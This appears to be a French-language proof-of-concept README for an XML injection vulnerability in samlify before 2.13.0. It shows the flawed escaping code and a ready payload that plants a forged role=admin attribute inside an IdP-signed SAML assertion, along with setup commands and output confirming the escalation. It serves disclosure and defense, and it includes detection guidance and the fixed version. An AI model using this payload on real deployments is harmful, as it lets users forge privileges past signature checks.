
CVE-2026-46490 — samlify <2.13.0 Injection XML SAML AttributeValue -> escalade de privilèges via assertion signée. Preuve de concept autonome, vérifiée de bout en bout.
AttributeValue dans samlify → Élévation de privilègessamlify
< 2.13.0échappe les substitutions de template uniquement dans les contextes d'attributs. Une valeur contrôlée par l'utilisateur (ex.name) placée dans du texte d'élément —<saml:AttributeValue>{Value}</saml:AttributeValue>— est insérée sans échappement, donc un utilisateur normal peut injecter des éléments<saml:Attribute>supplémentaires (ex.role=admin) dans sa propre assertion SAML signée par l'IdP. Comme l'injection a lieu avant la signature, la vérification de signature du fournisseur de service réussit et celui-ci consomme les attributs forgés comme authentiques.
src/libsaml.ts substitue les placeholders {tag} via replaceTagsByValue →
escapeTag :
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- texte d'élément : AUCUN échappement
};
}
La regex capture un éventuel " précédent comme quote. Dans un contexte
d'attribut (Name="{Name}"), quote est défini et la valeur est échappée avec xmlEscape ;
dans un texte d'élément (>{attrEmail}<), il n'y a pas de guillemet précédent, donc la
valeur est émise telle quelle.
Le template d'attribut par défaut place la valeur dans le texte d'élément :
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
Ainsi, une valeur d'attribut contrôlée par l'attaquant contenant </> injecte du
XML brut.
L'attaquant définit son propre attribut de profil (ici email) sur :
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
Cela ferme l'attribut email, ajoute un attribut forgé role=admin, et rouvre
un attribut jetable pour que les </saml:AttributeValue></saml:Attribute> finaux
du template restent équilibrés. L'IdP signe ensuite l'assertion — incluant
l'attribut forgé. Un SP conforme aux normes valide la signature (valide) et lit
role=admin.
cd lab && ./setup.sh # npm i [email protected] + génération des paires de clés IdP/SP
node poc.js
Sortie :
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin
Le PoC pilote le propre IdP de samlify (createLoginResponse, qui effectue la
substitution vulnérable replaceTagsByValue et signe) ainsi que le SP
(parseLoginResponse, qui valide la signature et extrait les attributs).
Le SP expose role: "admin" — un attribut que l'attaquant a forgé, et non que l'IdP
avait l'intention d'émettre.
Tout utilisateur capable d'influencer l'une de ses propres valeurs d'attribut SAML
(email, nom d'affichage, …) sur un IdP basé sur samlify peut fabriquer une assertion
valablement signée contenant des attributs supplémentaires arbitraires —
appartenance à un groupe/rôle, droits, indicateur isAdmin — et élever ses privilèges
sur chaque SP qui fait confiance à l'IdP. La validation de signature SAML n'aide pas :
la falsification est à l'intérieur du périmètre signé.
Inspectez les assertions émises/consommées pour détecter des valeurs d'attribut
contenant du balisage XML (</saml:AttributeValue>, <saml:Attribute), ainsi que
des assertions portant plus d'éléments <saml:Attribute> que le template IdP n'en
définit.
Voir ANALYSIS.md pour la regex de substitution, l'heuristique du
guillemet et le correctif.
| CVE | CVE-2026-46490 |
| Avis | GHSA-34r5-q4jw-r36m |
| Versions concernées | samlify < 2.13.0 |
| Corrigé dans | 2.13.0 |
| Classe | CWE-91 (Injection XML) → élévation de privilèges |
| CVSS | 8.8 (Élevé) |
| Authentification | Utilisateur authentifié à faibles privilèges (contrôle l'une de ses propres valeurs d'attribut) |
| Statut | CONFIRMÉ — chaîne complète IdP→SP reproduite avec [email protected] |